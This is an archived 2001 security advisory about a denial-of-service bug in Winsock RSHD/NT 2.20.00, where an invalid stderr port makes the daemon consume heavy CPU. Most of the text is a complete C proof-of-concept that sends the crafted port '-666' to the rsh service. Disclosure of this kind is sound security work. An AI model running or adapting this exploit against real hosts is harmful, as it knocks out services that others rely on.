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TUCoPS :: Windows :: win4914.htm

WinSock rshd/NT DoS



11th Dec 2001 [SBWID-4914]
COMMAND

	rshd DoS

SYSTEMS AFFECTED

	 WRSHDNT 2.20.00

	Update : version 2.21.00 is prone to the same bug when  port  number  is
	1024

PROBLEM

	martin rakhmanoff posted :
	

	Seems that Winsock RSHD/NT has a bug in handling  invalid  port  numbers
	of stderr stream. When rsh client connects to the daemon it  sends  port
	number to which daemon will send informational data (stderr). When  this
	port  is  invalid  (a  negative  number  for  example)  Winsock  RSHD/NT
	attempts to  connect  to  all  ports  below  1024  (even  negative)  and
	consumes a large of CPU time. This may lead to DoS  attack,  Vendor  was
	informed but no measures were taken.
	

	 

	/*

	** WRSHDNT 2.20.00 CPU overusage demo

	** jimmers@yandex.ru

	*/

	

	#define	HOST	\"localhost\"

	#define	PORT	514

	

	#include 

	#include 

	

	int main(int argc, char * argv[]){

		SOCKET s;

		WSADATA WSAData;

		LPHOSTENT lpHostEnt;

		SOCKADDR_IN sockAddr;

		int res, on = 1;

		char *stderr_port = \"-666\";

		char *local_user  = \"Administrator\";

		char *remote_user = \"root\";

		char *cmd = \"help\";

	

		res = WSAStartup( MAKEWORD( 2, 2 ), 

	&WSAData);

		if(res != 0){

			res = WSAGetLastError();

			printf(\"WSAStartup() failed, 

	WSAGetLastError: %d\\n\", res);

			return 1;

		}

		

		lpHostEnt = gethostbyname(HOST);

		if(lpHostEnt == NULL){

			res = WSAGetLastError();

			printf(\"gethostbyname() failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

		

		s = socket(AF_INET, SOCK_STREAM, 

	IPPROTO_TCP);

		if(s == INVALID_SOCKET){

			res = WSAGetLastError();

			printf(\"socket() failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

	

		sockAddr.sin_family	= AF_INET;

		sockAddr.sin_port	= htons(PORT);

		sockAddr.sin_addr	= *((LPIN_ADDR)

	*lpHostEnt->h_addr_list);

		

		res = connect(s, (PSOCKADDR)

	&sockAddr, sizeof(sockAddr));

		if(res != 0){

			res = WSAGetLastError();

			printf(\"connect() failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

	

		Sleep(400);	

		res = send(s, stderr_port, strlen

	(stderr_port)+1, 0);

		if(res == SOCKET_ERROR){

			res = WSAGetLastError();

			printf(\"send(stderr_port) failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

		

		printf(\"send(stderr_port): %d\\n\", res);

	

		Sleep(400);	

		res = send(s, local_user, strlen(local_user)

	+1, 0);

		if(res == SOCKET_ERROR){

			res = WSAGetLastError();

			printf(\"send(local_user) failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

		printf(\"send(local_user): %d\\n\", res);

	

	

		Sleep(400);	

		res = send(s, remote_user, strlen

	(remote_user)+1, 0);

		if(res == SOCKET_ERROR){

			res = WSAGetLastError();

			printf(\"send(remote_user) failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

		printf(\"send(remote_user): %d\\n\", res);

	

	

		Sleep(400);	

		res = send(s, cmd, strlen(cmd)+1, 0);

		if(res == SOCKET_ERROR){

			res = WSAGetLastError();

			printf(\"send(cmd) failed, 

	WSAGetLastError: %d\\n\", res);

			WSACleanup();

			return 1;

		}

		printf(\"send(cmd): %d\\n\", res);

	

		WSACleanup();

		return 0;

	}

	

	

	

SOLUTION

	Nothing yet


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